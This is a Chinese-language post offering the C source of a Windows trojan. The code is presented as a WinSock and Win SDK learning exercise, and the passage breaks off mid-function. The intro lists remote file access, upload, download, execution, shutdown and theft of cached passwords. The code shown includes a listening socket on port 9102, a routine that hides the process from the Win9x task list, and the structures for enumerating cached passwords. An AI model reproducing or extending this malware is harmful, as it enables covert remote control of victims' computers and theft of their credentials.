一个简单木马例子

写文章一般都赋源代码.除关键部分外向来不爱打太多说明性文字,因为觉得这样
才比较实际,关于那些函数用法和功能大可以去翻书,哪里讲的比谁都详细.

这里给了一个用异步SOCKET方式, 直接调用WINSOCK API,WIN SDK写的木马(VC,C++ BUILDER下均编译,调试通过),无须客户端,编译后才几十K.实现了些 主要功能,文件浏览,上传,下载(均支持统配符),改变目录,获取系统信息,从CACHE取密码, 执行文件,显示进程, 发送消息,关机, 还有些控制功能, WIN 9X,NT/2000下均 可使用,在NT,2000下,因考虑到如CMD.EXE已改名或不存在,那么程序 将毫无用处. 所以 并没有调用CMD.EXE来完成,全部由自己来做,WIN API实现.要想自己程序通用就不要怕 麻烦.建议那些用现成控件写木马和网络通讯的朋友应该看看,去熟悉这些根本所在, 尤其是在网络 通讯方面.如果你是个程序员 我想大可不必用我多说,在开发中还没见过哪家公司让 用现成类 (MFC,VCL)来做的.

此程序还不很健壮,写完后也没来的及优化,主要是拿来让大家熟悉一下WINSOCK和WIN SDK编程.


//---------------------------------------------------------------------------
// WINSOCK API,WIN SDK编程,无需客户端
//
// 作者: 贾佳
//---------------------------------------------------------------------------

#include <windows.h>
#include <winsock.h>
#include <mmsystem.h>
#pragma hdrstop
#include <condefs.h>
#pragma argsused

#define RUN "//WinMon32.exe"

//注册服务
#define SERVICE_PROC 1
//卸载服务
#define UNSERVICE_PROC 0

#define TH32CS_SNAPPROCESS 0x00000002
#define PROCESS_HANDLE_NAME 255

//缓冲区长度
#define dwBuffSize 2048
//命令行长度
#define dwComm 50
#define PORT 9102
#define WM_SOCKET WM_USER+1
#define PROMPT "LanLan://>"

DWORD dwVersion=MAKEWORD(1,1);
DWORD dwFlag=TRUE;
WSADATA wsaData;
SOCKET CreateSock,NewSock;
SOCKADDR_IN Sock_in,NewSock_in;
LPTSTR szReadBuff,Ob,TempBuff;
int addrlen;

//CACHE PASSWORD结构
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
char abResource[1];
} PASSWORD_CACHE_ENTRY;

typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);

//CACHE PASSWORD函数原形
typedef WORD (WINAPI *PWNetEnumCachedPasswords)(
LPSTR pbPrefix,
DWORD cbPrefix,
DWORD nType,
CACHECALLBACK pfnCallback,
DWORD UNKNOWN
);

//TOOLHELP32 结构
typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
DWORD th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;

typedef PROCESSENTRY32 * LPPROCESSENTRY32;

//定义TOOLHELP32,PSAPI函数指针
HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD);
BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded);
DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize);

HINSTANCE DLLInst;
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);

//---------------------------------------------------------------------------
// GetOS
// 判断操作系统
//---------------------------------------------------------------------------

DWORD WINAPI GetOS()
{
OSVERSIONINFO os;
TCHAR sVersion[MAX_PATH];

os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;

case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
}

//---------------------------------------------------------------------------
// HideProc
// 注册进程
//---------------------------------------------------------------------------

BOOL WINAPI HideProc(int mode)
{
DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}

//---------------------------------------------------------------------------
// EnumProcess
// 枚举进程
//---------------------------------------------------------------------------

//初始化TOOLHELP32
BOOL InitToolHelp32()
{
HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL");
if(DLLinst)
{
CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD))
GetProcAddress(DLLinst,"CreateToolhelp32Snapshot");
Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
GetProcAddress(DLLinst,"Process32First");
Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
GetProcAddress(DLLinst,"Process32Next");
if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next))
return FALSE;
else
return TRUE;
}
return FALSE;
}

//初始化PSAPI
BOOL InitPSAPI()
{
HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL");
if(NULL==PSAPI)
return FALSE;
EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded))
GetProcAddress(PSAPI,"EnumProcesses");
GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize))
GetProcAddress(PSAPI,"GetModuleFileNameExA");
if(NULL == EnumProcesses||NULL == GetModuleFileName)
return FALSE;
else
return TRUE;
}


VOID WINAPI EnumProcess()
{
HANDLE process[255];
PROCESSENTRY32 p32;
DWORD process_ids[255];
DWORD num_processes;
TCHAR file_name[MAX_PATH];
TCHAR szTemp[MAX_PATH];
unsigned i;

wsprintf(szTemp,"/n/n/r << Process File Name >>/n/n/r");
send(NewSock,szTemp,lstrlen(s